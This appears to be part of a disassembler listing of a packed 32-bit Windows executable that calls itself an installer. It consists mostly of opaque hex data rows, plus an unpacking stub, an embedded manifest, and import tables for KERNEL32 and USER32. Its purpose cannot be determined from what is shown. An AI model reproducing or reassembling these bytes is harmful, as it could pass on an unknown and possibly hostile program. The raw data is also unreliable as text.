		dd 0BBAD9A50h, 4ADE89D3h, 931AF0F1h, 767CFDC3h,	52AAD7ADh
		dd 1BC9CEF4h, 0D6C04473h, 0F1AADF9Ch, 37259F42h, 0B2BC1940h
		dd 0FFA23563h, 98FFE0DFh, 0A8C7h, 0F9052BE4h, 0AFFEC7C5h
		dd 0F0C50C34h, 9EA43544h, 0FFF56749h, 0EEFFF8B7h, 34ECD119h
		dd 4B0DF095h, 6DD27D36h, 0FC5B92DDh, 0A60C57D4h, 0C23A6E68h
		dd 0E9FFFFFFh, 6513BBC2h, 8E6EC195h, 0BF91A0F5h, 0CA8DADAEh
		dd 9B2E9F83h, 8689E3E1h, 0FC4B63E1h, 0B6CBFFFFh, 0A0A8D9EBh
		dd 4D52265Eh, 0A177DE1Ch, 8D34D5DFh, 0AEED20DAh, 7FFFFFDEh
		dd 0F6E59CA1h, 0E23875F1h, 598C0D65h, 0F0EF70ECh, 857B73E6h
		dd 68664564h, 0FFFFFF11h, 26B2D8FFh, 1A7B4893h,	69F0A31h
		dd 0CE8D7EEBh, 67FD113Fh, 0F7056455h, 0E1FC473Bh, 8AE846D9h
		dd 0FF897B10h, 1D6BB1FFh, 886F45CEh, 78ACF064h,	8F680BADh
		dd 4B78235h, 0FFDD6192h, 0DD45BFFFh, 4376072Fh,	7C5B2846h
		dd 26D1B657h, 18846F3Ah, 78EF8498h, 0FFFADF84h,	441D85FFh
		dd 0F022D023h, 95382E03h, 8EE5DB1Ch, 10945103h,	0E059F6E9h
		dd 0D000DBF3h, 37FFFFFFh, 32519CB4h, 5AA5BB95h,	0A4095285h
		dd 0AF7967E5h, 8D37E520h, 3F69E45Bh, 0FFFFED35h, 1D0947BFh
		dd 9DF41EEAh, 0A9458B61h, 0D3DBD9CDh, 73B2B54Dh, 9FA35091h
		dd 34AFB227h, 12FFFFFAh, 62A747F4h, 8D38CC3Dh, 0ABA41FB6h
		dd 0A1699A7Eh, 359C5D90h, 0FFFFFFFBh, 0CA27F0Bh, 0B02890A5h
		dd 0BB3930E4h, 0E53480B3h, 0B2A4437Ch, 54E2E7CCh, 0FFFDEAE5h
		dd 91FFFFFFh, 17E20E22h, 7D07FCAFh, 0FD4749C5h,	0CDEA1321h
		dd 690E1E8Fh, 0D201A4DBh, 0F2CAD0CDh, 0DF46369Bh, 0C3FFFFE2h
		dd 6CCF031h, 0A531C298h, 7FA1E56Eh, 0CA7DB7E2h,	0EF2B55DBh
		dd 0FFAB8F34h, 0ED6F4BFh, 85411E8Bh, 0ABE5CA12h, 545DFFA4h
		dd 85EFF01Bh, 0FFABF7B0h, 0AEFFFFFFh, 93BC9FD6h, 0D33C38A8h
		dd 6A5BBFCAh, 77E870E0h, 0BC5AA3ADh, 0A240AC61h, 470FFAC1h
		dd 0BF60EB9Bh, 4FFF6C0h, 8804FB79h, 2060065Ch, 1B7110Ch
		dd 0DCCB581Dh, 6F7BD39Bh, 7EFFFFF5h, 0B3A0FD9Bh, 0B3E2E0C2h
		dd 70CD8D5Dh, 0B302CED5h, 0BCE9949Bh, 0F86A762Dh, 2AFFFFFFh
		dd 0A2C30E4Dh, 664B0429h, 1FF6327Bh, 1D0B640Dh,	11AFF015h
		dd 0F0B0F842h, 0F762EE93h, 0B7FFFFFFh, 7AD681D7h, 36219137h
		dd 91DA0623h, 2C0F2437h, 5CE17DE5h, 9957938h, 0F8ACCCB5h
		dd 7BFF16FFh, 3F928F0Ch, 10072588h, 0EC56D4BBh,	7B7ED6B1h
		dd 0E00E71BAh, 5FFFFFFFh, 714032Ch, 8BC05069h, 0D649FB11h
		dd 6CBF2024h, 6A540D1Bh, 9E1DBFE4h, 0E2F3ED17h,	0FFFFFF4Ch
		dd 0C8D9F3D2h, 36C206A0h, 7DC8251Bh, 13FE25Fh, 0BA1902D9h
		dd 0D0275CB1h, 0FF92B725h, 5EA5FFFFh, 0DD83EE5Eh, 0FED01F98h
		dd 0F2A9098Fh, 0CB5A760Fh, 0CD38840h, 85B1011Fh, 7FFFFFD8h
		dd 0A5F860E1h, 853EC265h, 0D3968D4Fh, 0EEF39B1Dh, 4F0392D9h
		dd 0B3DA4D60h, 7F35BBA1h, 87FFFFFBh, 0DBACB5F5h, 0D1B225AAh
		dd 7CFE25F3h, 7D0E3D2Ch, 55DC153Ah, 2D4B7559h, 0FF535C12h
		dd 0B3FFFA17h, 1BA13B95h, 0D91A24C4h, 2529B2Fh,	0DA3329CEh
		dd 9C582559h, 2563A21Eh, 0ABFFFFFEh, 18A85C6h, 833830DCh
		dd 1E122CBFh, 97AA55F9h, 7E73D292h, 4BE99B09h, 3FFFFE05h
		dd 0AC42C483h, 0A6AED73Dh, 170B524Ch, 0FEF75C55h, 0FF85FF33h
		dd 5B12CDFFh, 0F26751D7h, 0C467AACDh, 0FF8ACBEFh, 132CD0B4h
		dd 26F37488h, 0FFB804B8h, 0DCFFFFFFh, 31F9EFE1h, 96993D01h
		dd 535D4D0Eh, 9DFC7F79h, 0F3DEFFE2h, 12EC31FBh,	0B0381BE6h
		dd 0A2F686DDh, 0EDFF12FFh, 0BA4797C8h, 3F310B0Eh, 945BB6E2h
		dd 60FC4CEh, 2DFFFFFFh,	356E0250h, 9A0DF975h, 928CB3F6h
		dd 0A0439F0Dh, 461E7188h, 461B4958h, 0B7FFFFACh, 1E60FFF8h
		dd 177CE998h, 0AA4F81CFh, 68F210E7h, 7034A50Dh,	0DFACFA52h
		dd 0FFFFFF98h, 44B641FFh, 0BFAD90CAh, 0D9A1DDD4h, 0DFA3D29h
		dd 0A3BEDB7Ch, 9A160F67h, 70A46BDAh, 0F3974C89h, 0FFFFFFE5h
		dd 704573FFh, 0C89DA793h, 659D9A2Eh, 9729AAFh, 3B045BFDh
		dd 0A14A9740h, 0CB690C09h, 614A8909h, 0FFFFFF4Bh, 0EA400AD2h
		dd 0E29BDD5Ah, 0BACC6D64h, 0F75E165Bh, 7C91B5EAh, 20B8C9EFh
		dd 0FFDBB6FFh, 0F4E05E8Dh, 0A29732E6h, 2459670Eh, 546D101Eh
		dd 0FEE64983h, 0FFFFFFh, 913073B5h, 2118981h, 67125A61h
		dd 0F3BBBC9Bh, 276D1B13h, 67A460C1h, 236B3135h,	0FFFF31F8h
		dd 5CA0ADFFh, 0F3CDF0D6h, 8CD8FDFEh, 0ED49D668h, 1DACDB5Dh
		dd 0E0A48E04h, 0C78E3DC9h, 58FFFFFFh, 415F9668h, 24AF857Dh
		dd 0BFB90B39h, 0A99AC574h, 7EE95340h, 989F3FD1h, 5BFF79C5h
		dd 6F87FFFh
		dd 6FDE6194h, 7AF184E6h, 0AB05C662h, 1B40C27Dh,	0C3EFBFEAh
		dd 0FF7FE1A6h, 27FFFFFFh, 95B1B313h, 1562EDF5h,	0DE68C9ADh
		dd 0DC1D625Eh, 94D27F5h, 16EFCCEEh, 0E9A9C237h,	0FD49F6DDh
		dd 0A2F8DFFFh, 10E32323h, 0F837FD9Ch, 0BE016F1Fh, 65E7D29Ch
		dd 90B7C2F6h, 7F89FB27h, 4F6FFFE3h, 7B67DB30h, 0CC5FC918h
		dd 5FF072D4h, 78B0862h,	6D183849h, 0FFF8DF5Fh, 7879F3FFh
		dd 0E19168EEh, 1E69C7BFh, 4BCB845h, 36E31EC3h, 8DB75763h
		dd 0EAB75C7Dh, 75FFFFFFh, 19AA5D34h, 6C52A9A8h,	0CC83E5F8h
		dd 22F47F65h, 6ED15514h, 44D2325Eh, 0FFFF6CD0h,	8BC3DFFFh
		dd 9D568253h, 0EB7A840Dh, 0ABFA5CDCh, 0A03C1F25h, 9EC46973h
		dd 8902A11Dh, 0FE437821h, 7DFE2DFFh, 9BBD0114h,	131C7210h
		dd 42DDD56h, 0D64EC441h, 27870B4h, 6FFE0D7h, 0D44097FFh
		dd 0C4001D02h, 0C11D319Ah, 0EB3518ADh, 0CD7D144Ch, 0BF0BFD30h
		dd 776D9DF0h, 69948158h, 10E4A74Fh, 6E2B5908h, 0FC6560E6h
		dd 0AE6FFFFFh, 8C6F375Ch, 0EF3DFFA9h, 94EB388Bh, 0A817FD3Fh
		dd 30E6E2B1h, 8F320E7Fh, 0FADFFFC0h, 0CED1136Fh, 0DF6642A2h
		dd 9BC8865Bh, 0A53EE155h, 0BF44C6DCh, 0FD99D5E8h, 0A242FFFFh
		dd 95CB8A55h, 1D5F9A67h, 3E9F0287h, 8C5513E2h, 0D070E5A6h
		dd 0E97A97F2h, 5CE6FF1Bh, 864AA504h, 0CAF8380h,	0AB6B7FDFh
		dd 0D236F6FFh, 0F3051307h, 0B3FA9C69h, 0EAC2857Ch, 0FAA19AEAh
		dd 91FFFFFFh, 0BEF0B41Eh, 2A30F070h, 0FBA08EA2h, 7BE91813h
		dd 0CC4DB2DAh, 0E9F2F59Eh, 517EF73Eh, 0DFFFFFB7h, 0F21D7A81h
		dd 487905F3h, 3E8D8314h, 6D6E326Dh, 595FA843h, 0F0946E6h
		dd 8DFFFF63h, 0D3D3F7FEh, 6FB703E4h, 92948E00h,	74BC01CDh
		dd 0A3A0FEEDh, 4588B433h, 16FFFF83h, 0F606E3FFh, 901E0588h
		dd 0EBC645FBh, 544FB798h, 14017080h, 0EE7DCB64h, 4102FFF2h
		dd 0D1D7FFFFh, 5C4F27BEh, 7A007E9Dh, 3A31665Fh,	46FFE828h
		dd 1D555AFFh, 30B15994h, 3D304264h, 6C7A244Ch, 6344CEE8h
		dd 0DFFFFFFFh, 0F461CD0Bh, 8187B87Ch, 99B9A1F1h, 0A7E8309h
		dd 0E2BA970Bh, 31F36FF7h, 6D6D4C71h, 0FFFFFDC3h, 0C985C9FFh
		dd 0C76A127Dh, 6CA48611h, 0E086D4C5h, 6CB4ECE9h, 62C24778h
		dd 63955EE8h, 0FF05BE9Dh, 372FFFFFh, 801296CBh,	6747CE7Fh
		dd 33268C83h, 0D7BD8F1Ah, 2FCE5555h, 0AAF64AACh, 0FFA26CC7h
		dd 76FFDBFFh, 4844EEA7h, 1DC34743h, 75901152h, 3E48B3A2h
		dd 0F376C7FEh, 3D28A01Dh, 0D86B529h, 0C8FFFFFEh, 39A66472h
		dd 8FD1C3E5h, 0C62B157Fh, 0C6422C9Eh, 0B4ADF237h, 0FE103560h
		dd 2FFFFFFFh, 215BC7EEh, 0F87143ABh, 6B36D282h,	0F976CCBBh
		dd 0D21FA019h, 0A8C87BB1h, 39A05D73h, 0FC5B04E7h, 0A9700DFFh
		dd 0ABBEDACAh, 1429574Eh, 14E37FEEh, 0FF90932Bh, 5D12C1BFh
		dd 0FA20D23Dh, 25912136h, 206500D2h, 0FF812C22h, 0FDAB55BFh
		dd 538CCDD7h, 0D7CC7114h, 0AC3865F3h, 56A99E49h, 76FC1BFFh
		dd 0BBDD2AC5h, 0E9C580C6h, 0A9E1C99Dh, 0E0E693C4h, 0FFFFFFFFh
		dd 83561A0Ah, 0D44A41E0h, 0D16AF74Dh, 25F56E6Dh, 6E9C0798h
		dd 393C2673h, 442DF67Dh, 0FF0B6714h, 32FFFC0Bh,	935DE4Dh
		dd 86BD3FAAh, 83D91CB4h, 2D9F4D51h, 0AE5986B9h,	7FDBA083h
		dd 0F6FFFF83h, 3276309Ch, 2CAC6CEBh, 50983121h,	13034A11h
		dd 647D89F1h, 0BFB59667h, 0CAFFD6FDh, 735C00E3h, 0D0D1976Dh
		dd 507208BBh, 0F56A1D94h, 597660A6h, 0FFFFFFA9h, 6884F8FFh
		dd 0ACF55B56h, 995F1CD0h, 65C1341Ah, 237C7123h,	0E2AD70FDh
		dd 86C38200h, 0DE878C2Fh, 6FFFF47Bh, 0DB8E74F0h, 0F55F8A59h
		dd 6D9514Fh, 0E3033B64h, 0E8F3B115h, 2FFFFEE3h,	77136D6Ch
		dd 172D74F1h, 0BAB275B9h, 0CC01062Ch, 7D441380h, 0FE028BB2h
		dd 39B325FFh, 4F5ACAF4h, 5D3BA6B4h, 0EE75AF2Bh,	1FE990D8h
		dd 353A3282h, 86155361h, 0FF6B00F5h, 0B47FFFFFh, 3D536B27h
		dd 62DD5EC9h, 99425DC2h, 20E8A390h, 0BB2567C2h,	6B85D16h
		dd 0A64FD636h, 0FFFFFF52h, 0BE9021FFh, 0B73F5B7Bh, 0C2C8CCFAh
		dd 0C01848F9h, 9B8EB192h, 1203D832h, 98BC0941h,	49CA366Eh
		dd 0BFF06F13h, 0DB618BC1h, 0D37EF1C4h, 0FD9D70FAh, 20AAFBE2h
		dd 37FFFF3Dh, 1BB53AFEh, 0B58A08B7h, 96DC9D0Ah,	0B12628DAh
		dd 0B4F4DA88h, 808A777Dh, 0FFABC106h, 990BFFFFh, 916C1076h
		dd 16F44F9Eh, 0A83F4C1Bh, 1A26203h, 0EEC9288Fh,	5985F3BEh
		dd 0FFFFFAE3h, 54E83BFFh, 0D4E8C0A9h, 1EB3E794h, 90722C05h
		dd 0B169D02Ah, 0A6F316C0h, 18743A5Dh, 0FFFF706Ah, 34575FFFh
		dd 2DA3AF3Bh, 2C107F6Dh, 0BBA67898h, 35265B84h,	8F3AF156h
		dd 8FFB6E33h, 56FCEAE7h, 0EDFF12FFh, 0D603AA29h, 0C66A72B2h
		dd 0E9676136h, 0D21F47C4h, 0FFFF52FFh, 8EBD1FB2h, 3A85BB10h
		dd 0A219D3Dh, 0BCA46828h, 0E1B624A3h, 0FF3BC54Bh, 0E7FFFFFFh
		dd 8119947Eh, 119A0F8Ch, 5F716717h, 0CE1F180h, 3FBCCBEBh
		dd 25DF1F15h, 0DCADE956h, 0FF389759h, 9CA97FFFh, 0A3048D8Eh
		dd 7ED7FEh, 0F31C5931h,	9F20BF2Bh, 2D467CB8h, 0FF8BCF07h
		dd 9FFDB42Fh, 0FD5D5EE1h, 8295D940h, 0C3C8A417h, 657DECDDh
		dd 0F12AE589h, 72FD0BFFh, 0D5C1AA11h, 0AB14C394h, 78E0E821h
		dd 91B9039Eh, 4BCA21A3h, 2C6FFFFCh, 2B4D75A1h, 0F89C8D8Fh
		dd 9B5FFE11h, 0E229B90Ah, 0FF890BC4h, 0C8B625Fh, 0D5901A38h
		dd 6F97AFC1h, 0D9D90CB5h, 0FFBAA381h, 2DE2DFFFh, 0C8488525h
		dd 3A5EAC30h, 32C55C0Bh, 0DCB4EBE3h, 3E870EA9h,	0FF28CF93h
		dd 0D2FFFFFFh, 7A0CED41h, 0C5D6E93Dh, 7CBD3918h, 0B0272A62h
		dd 8134D845h, 0B916B919h, 44C7C669h, 0FF3796EBh, 71A17FFFh
		dd 2B72F9BDh, 7087618Eh, 9DBA9E97h, 0D602E308h,	4762F5A2h
		dd 0A5A3CD50h, 4FFFFFEh, 50493A5Bh, 0DF6C3665h,	0AB7079E0h
		dd 0BAC82F0Bh, 0D9F4F4DEh, 0FA249B78h, 10FC5AB7h, 0AC7D8A31h
		dd 26A7E2CEh, 0E63A3588h, 0FFFF561Ch, 2A7697FFh, 43595AD2h
		dd 0D1BE0586h, 394FA348h, 0AC16090Eh, 94EF42C0h, 46FC2D71h
		dd 0FFFFFFCFh, 89FA09FFh, 1C497E9Ah, 907CC37Dh,	8B6FC7B2h
		dd 0A0538EFEh, 1BCE10CBh, 43D62274h, 8DCABBDh, 0FF06FE39h
		dd 686AFBFFh, 9EDF0772h, 0EEFB5E1Bh, 233CC2FCh,	3F6373B0h
		dd 639B59B5h, 97EADFFFh, 1706D7F2h, 0F97F72D9h,	9B44154Dh
		dd 0F24E833Ah, 0FF35C2B1h, 20FFFFB7h, 30E3A7F0h, 2CF48F5Ah
		dd 0B1313670h, 0F7B9898Fh, 266B5D50h, 0B87A4D04h, 154A1A51h
		dd 66FC1020h, 0D24847ECh, 0FF2AB60h, 0A8034B08h, 30000253h
		dd 34D96654h, 41624CDh,	9BEA53F6h, 0DE9A69A6h, 8696C0D0h
		dd 6D9A5460h, 48542CD3h, 0C1352FAh, 0A69A6926h,	423403E9h
		dd 4D786652h, 3CAE7DD7h, 78A0023h, 0C4AE039Ch, 74D3BB2Ch
		dd 3EAD63Fh, 5D1E550Ah,	2ED35837h, 57E42F7Ah, 34BC03D2h
		dd 0AE34D34Dh, 6E7A8A98h, 0D34D34D3h, 283A5462h, 0B3B05F16h
		dd 51F8064Dh, 0DF07B83Fh, 3301BDEEh, 50945297h,	50676C13h
		dd 13D20396h, 64553C88h, 9414FFFBh, 43002C23h, 55726168h
		dd 72657070h, 4BF0D41h,	724565D0h, 75436365h, 0EB6F7372h
		dd 72B641FEh, 6544460Fh, 6F746B73h, 11472170h, 0B9641FFh
		dd 63494D57h, 72466E6Fh, 0FF736D6Fh, 1952B7E5h,	6372756Fh
		dd 4400A165h, 53776172h, 0F3391C74h, 0C4A802C7h, 63655253h
		dd 47F70074h, 467DBE7Eh, 7375636Fh, 49016A83h, 776F4C73h
		dd 58B3017Eh, 61096FF7h
		dd 74694264h, 8170616Dh, 5AD98F0Dh, 465D7D00h, 0BB8615FCh
		dd 491B6FEDh, 0A0596721h, 73734D01h, 2D6F420Bh,	78FDCDF5h
		dd 69646E49h, 0AE166272h, 0D2654F01h, 0EDBFB56Fh, 75425AFEh
		dd 38276666h, 73410E02h, 696963h, 41B577h, 1E1F6AA8h, 0DBEE97BFh
		dd 247056B6h, 6972A865h, 6EA9676Eh, 0BAE9756Eh,	4CC764EDh
		dd 5C751461h, 6D801973h, 786D4016h, 0AD9BF798h,	0D63BADDh
		dd 64FE6854h, 9B00A21Bh, 0B6DB6F7Ch, 0A92C3561h, 68676C0Fh
		dd 5D7B9AB0h, 0EB707F7Bh, 0B86EF7C8h, 0DB5D7BF8h, 252D4C29h
		dd 532311F5h, 0BED7A69h, 0FE325BDBh, 2663DA0Dh,	656D6954h
		dd 1BD0102Fh, 400132CCh, 70757472h, 0CD942CADh,	0A0A3F97Dh
		dd 21BAA76h, 6974DD72h,	8EEA5326h, 0B76CA400h, 53110EEDh
		dd 792C7262h, 4601AAA9h, 5010EDD0h, 1CA0D92h, 10CF0B2Eh
		dd 6C0566AFh, 0BB6D736Ch, 6F17C1BDh, 5674430Bh,	0DA1A7529h
		dd 77F0DFB1h, 746E5502h, 77656956h, 832C664Fh, 23BD0C02h
		dd 1D7BE6A0h, 29E0016h,	3B42B657h, 196576D6h, 2F3802B5h
		dd 0B6D97461h, 0B96BEB30h, 0C69440Bh, 0F9160BBBh, 8370DF61h
		dd 416E0BBDh, 4338BF00h, 0ABB0AD8h, 0FA0B6B00h,	0AD87F6Ch
		dd 160595ADh, 441FE2B4h, 80BBB5F6h, 4F00271Ah, 0E050CC0Fh
		dd 0B6EADED6h, 30B1727Ah, 6967654Dh, 5E17361Eh,	7954ED70h
		dd 17E3C6h, 41516153h, 61D8D972h, 6367EC6Bh, 1538398Bh
		dd 6334ACB1h, 0D111CD92h, 0B0CDDBBAh, 4D796F7Fh, 45F0004Fh
		dd 0DB2EF012h, 0F514FA1h, 0DF737953h, 9AD7B422h, 700F51FFh
		dd 0B3B30A21h, 572312CDh, 28E77E0Ch, 86D1911h, 0DA005055h
		dd 65435A19h, 7475BF45h, 908A8988h, 0FC8F016Fh,	0BF581DFh
		dd 8C80004h, 430780C8h,	0D1AA101h, 7674Ah, 0DCEA0E4Bh
		dd 3905B96Dh, 61380366h, 2000650Bh, 0DCCDBAC6h,	0F73006Eh
		dd 2161016Ch, 0DDDD636Fh, 631913E6h, 70006D07h,	642B6515h
		dd 77281535h, 90000A66h, 442071ABh, 3D73DB7h, 0B351568h
		dd 44670544h, 7184FD34h, 10A5001h, 2B0BE594h, 430ED041h
		dd 5F6BA899h, 3DD7313h,	20003773h, 16BA08ADh, 842B6D77h
		dd 1A00BF33h, 7252B42Bh, 9FF75D75h, 69714523h, 0E93D3279h
		dd 72E4CDBAh, 416113D5h, 0AC799B6Bh, 75AE9A6Bh,	75726607h
		dd 0B7BD64A7h, 21DD24BDh, 2DA31B67h, 0FB9F75C7h, 0A919615Ch
		dd 75D95B61h, 7D837427h, 730FDCCFh, 6B296500h, 48741179h
		dd 4964DD78h, 17621173h, 0C2E2E629h, 0EF10D5Eh,	73EEBE89h
		dd 5101B62Dh, 8200EFE1h, 986BAE07h, 84236AB0h, 0DB4B6117h
		dd 0D94FF26Fh, 1703E9C3h, 6C4381h, 12002Bh, 94B6E10h, 0EB2F6B03h
		dd 3084349h, 0D4210B09h, 7401592Fh, 6910D8DDh, 20116EE3h
		dd 9A116FD7h, 37658DEEh, 216A75FBh, 7D8D8C22h, 74237429h
		dd 84016D1Dh, 2F32EE6Dh, 7493192Eh, 7787B49h, 570D7037h
		dd 4779C369h, 19AF7473h, 3D436568h, 0B8035B0Dh,	57EE7DCFh
		dd 1702311h, 745F631Dh,	0AB6612DFh, 4F731FD3h, 31936069h
		dd 0CB6374D2h, 0CB0FF520h, 1F663182h, 0BE6B05BBh, 2B62F7D8h
		dd 9775077Dh, 0BA416635h, 6EC1C6C1h, 74AD6EDFh,	84A6EB36h
		dd 9734364h, 2321DB66h,	6D4D8BDFh, 6CB74B6Bh, 0C200C662h
		dd 0BF2E3D48h, 8042EF09h, 42D33211h, 0A0960453h, 0B0205008h
		dd 4441FF20h, 474E4944h, 1C0F5858h, 420D2555h, 32B7C060h
		dd 9C10895Fh, 4865736Fh, 2ABAACBAh, 0FF01F4AFh,	18E0301h
		dd 18E61B3h, 9FAB0152h,	5B1659ABh, 2A6F5008h, 55CD97ECh
		dd 4D470FAFh, 6C75646Fh, 0C021BE29h, 6D614E7Bh,	541D092Dh
		dd 0ADF6B157h, 6F436BE5h, 660D2D75h, 36D75EF6h,	27136D36h
		dd 6B093173h, 180CD82Dh, 0AE253676h, 70DB66C6h,	0D681450h
		dd 9F7486h, 62AB5AE9h, 53132287h, 40203780h, 0EF0501CAh
		dd 2DCD8F00h, 73614C2Dh, 95ADB214h, 7D0D6460h, 7FBCA02Dh
		dd 127F60B1h, 6464410Bh, 0F80D0F72h, 1D790612h,	0C06EEC56h
		dd 459501BBh, 6FD78978h, 0DCD6066h, 0EF2C140Bh,	2C12120Dh
		dd 40646179h, 12C26E6Eh, 0F5117E3Bh, 0C9016D72h, 0B23D096h
		dd 61C06D4h, 7B01CF8Ch,	82FB9D01h, 4455184Bh, 86A46F18h
		dd 0DE82CD3Fh, 7377806Dh, 58AA7270h, 66B30588h,	73BC6728h
		dd 0A0BC87E7h, 0E92ED01Ch, 796CF147h, 8010F3Eh,	16E213B4h
		dd 3488A0B7h, 401C10A1h, 1D962800h, 0C80CF021h,	1C2C0076h
		dd 3C5221B4h, 3AC08175h, 0A792ACCCh, 2282C38Ch,	401C1E90h
		dd 8C78A0BAh, 9037081Ch, 0F46038A0h, 5B212FBh, 0C1C06C5h
		dd 766CEC0Bh, 73302726h, 1417850Ah, 95B47D1Ch, 10F9DD34h
		dd 12AE4FB0h, 856E7808h, 227C0D84h, 5, 12006134h, 0FF0000h
		dd 2 dup(0)
		dd 9000BE60h, 0BE8D0040h, 0FFFF8000h, 0FFCD8357h, 909010EBh
		dd 90909090h, 8846068Ah, 0DB014707h, 1E8B0775h,	11FCEE83h
		dd 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh,	11DB11FCh, 73DB01C0h
		dd 8B0975EFh, 0FCEE831Eh, 0E473DB11h, 0E883C931h, 0C10D7203h
		dd 68A08E0h, 0FFF08346h, 0C5897474h, 775DB01h, 0EE831E8Bh
		dd 11DB11FCh, 75DB01C9h, 831E8B07h, 0DB11FCEEh,	2075C911h
		dd 75DB0141h, 831E8B07h, 0DB11FCEEh, 0DB01C911h, 975EF73h
		dd 0EE831E8Bh, 73DB11FCh, 2C183E4h, 0F300FD81h,	0D183FFFFh
		dd 2F148D01h, 76FCFD83h, 42028A0Fh, 49470788h, 63E9F775h
		dd 90FFFFFFh, 0C283028Bh, 83078904h, 0E98304C7h, 1F17704h
		dd 0FF4CE9CFh, 895EFFFFh, 0BB9F7h, 78A0000h, 3CE82C47h
		dd 80F77701h, 0F275003Fh, 5F8A078Bh, 0E8C16604h, 10C0C108h
		dd 0F829C486h, 1E8EB80h, 830789F0h, 0D88805C7h,	0BE8DD9E2h
		dd 0E000h, 0C009078Bh, 5F8B3C74h, 30848D04h, 102FCh, 8350F301h
		dd 96FF08C7h, 10338h, 47078A95h, 0DC74C008h, 4857F989h
		dd 0FF55AEF2h, 1033C96h, 74C00900h, 83038907h, 0E1EB04C3h
		dd 34C96FFh, 0AE8B0001h, 10340h, 0F000BE8Dh, 0BBFFFFh
		dd 50000010h, 53046A54h, 8DD5FF57h, 1F787h, 7F208000h
		dd 7F286080h, 50545058h, 0D5FF5753h, 448D6158h,	6A8024h
		dd 0FA75C439h, 0E980EC83h, 0FFFF0C92h, 16Ch dup(0)
_data		ends

; Section 3. (virtual address 00011000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00011000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 411000h
		dd 2 dup(0)
		dd 4, 20001h, 800000E8h, 80000028h, 5, 80000068h, 18h
		dd 800000A8h, 2	dup(0)
		dd 4, 10000h, 68h, 80000040h, 2	dup(0)
		dd 4, 10000h, 409h, 58h, 40F0h,	0A600h,	4E4h, 3	dup(0)
		dd 4, 10000h, 69h, 80000080h, 2	dup(0)
		dd 4, 10000h, 422h, 98h, 0E6F0h, 3D4h, 4E4h, 3 dup(0)
		dd 4, 10000h, 1, 800000C0h, 2 dup(0)
		dd 4, 10000h, 409h, 0D8h, 110F4h, 205h,	4E4h, 0
		dd 420003h, 4E0049h, 0EAC4h, 6D783F3Ch,	6576206Ch, 6F697372h
		dd 31223D6Eh, 2022302Eh, 6F636E65h, 676E6964h, 5455223Dh
		dd 22382D46h, 61747320h, 6C61646Eh, 3D656E6Fh, 73657922h
		dd 0D3E3F22h, 73613C0Ah, 626D6573h, 7820796Ch, 736E6C6Dh
		dd 7275223Dh, 63733A6Eh, 616D6568h, 696D2D73h, 736F7263h
		dd 2D74666Fh, 3A6D6F63h, 2E6D7361h, 20223176h, 696E616Dh
		dd 74736566h, 73726556h, 3D6E6F69h, 302E3122h, 0A0D3E22h
		dd 613C2020h, 6D657373h, 49796C62h, 746E6564h, 20797469h
		dd 73726576h, 3D6E6F69h, 302E3122h, 302E302Eh, 200A0D22h
		dd 20202020h, 636F7270h, 6F737365h, 63724172h, 65746968h
		dd 72757463h, 58223D65h, 0D223638h, 2020200Ah, 616E2020h
		dd 223D656Dh, 74736E49h, 656C6C61h, 0A0D2272h, 20202020h
		dd 70797420h, 77223D65h, 32336E69h, 0D3E2F22h, 3C20200Ah
		dd 73757274h, 666E4974h, 6D78206Fh, 3D736E6Ch, 6E727522h
		dd 6863733Ah, 73616D65h, 63696D2Dh, 6F736F72h, 632D7466h
		dd 613A6D6Fh, 762E6D73h, 0D3E2232h, 2020200Ah, 65733C20h
		dd 69727563h, 0D3E7974h, 2020200Ah, 3C202020h, 75716572h
		dd 65747365h, 69725064h, 656C6976h, 3E736567h, 20200A0Dh
		dd 20202020h, 723C2020h, 65757165h, 64657473h, 63657845h
		dd 6F697475h, 76654C6Eh, 0A0D6C65h, 2 dup(20202020h), 656C2020h
		dd 3D6C6576h, 49736122h, 6B6F766Eh, 0D227265h, 2020200Ah
		dd 20202020h, 75202020h, 63634169h, 3D737365h, 6C616622h
		dd 2F226573h, 200A0D3Eh, 20202020h, 722F3C20h, 65757165h
		dd 64657473h, 76697250h, 67656C69h, 0D3E7365h, 2020200Ah
		dd 732F3C20h, 72756365h, 3E797469h, 20200A0Dh, 72742F3Ch
		dd 49747375h, 3E6F666Eh, 2F3C0A0Dh, 65737361h, 796C626Dh
		dd 4441503Eh, 411350h, 2 dup(0)
		dd offset dword_411350
		dd offset dword_411350
		dd offset aNia+4
		dd 2 dup(0)
		dd offset aNia+4
		dd offset aNia+4
		dd 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
		dd 7C81CDDAh
dword_411350	dd 0							; .rdata:0041130Co
aNia		db '­¨A~',0             ; DATA XREF: .rdata:00411310o
					; .rdata:0041131Co ...
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0
aUser32_dll	db 'USER32.dll',0
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 74726956h,	506C6175h, 65746F72h, 7463h
		dd 74726956h, 416C6175h, 636F6C6Ch, 69560000h, 61757472h
		dd 6572466Ch, 65h, 74697845h, 636F7250h, 737365h, 73770000h
		dd 6E697270h, 416674h, 30Ah dup(0)
_rdata		ends

; Section 4. (virtual address 00012000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00012000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 412000h
		dd 7C8260C2h, 7C812F1Dh, 7C80C058h, 7C85F03Ch, 7C901005h
		dd 7C812A09h, 7C832044h, 7C809740h, 7C80B974h, 7C80BE01h
		dd 7C80BAA1h, 7C834D41h, 7C821982h, 0
		dd 77185F81h, 77142A69h, 77125189h, 7712AB11h, 77125013h
		dd 77124880h, 7713DEF3h, 77196CCDh, 0
aJ_eAC		db '†_E~`ÚA~—',0
		dw 7E43h
		dd 7E4208CEh, 7E41EF69h, 7E4212E0h, 7E43B851h, 7E42E002h
		dd 7E4186C7h, 7E41C257h, 7E43D034h, 7E41C236h, 7E44FB60h
		dd 7E455BD7h, 7E41AEF1h, 7E41A8ADh, 0
		dd 1214Ch, 2 dup(0)
		dd 12278h, 1205Ch, 120F0h, 2 dup(0)
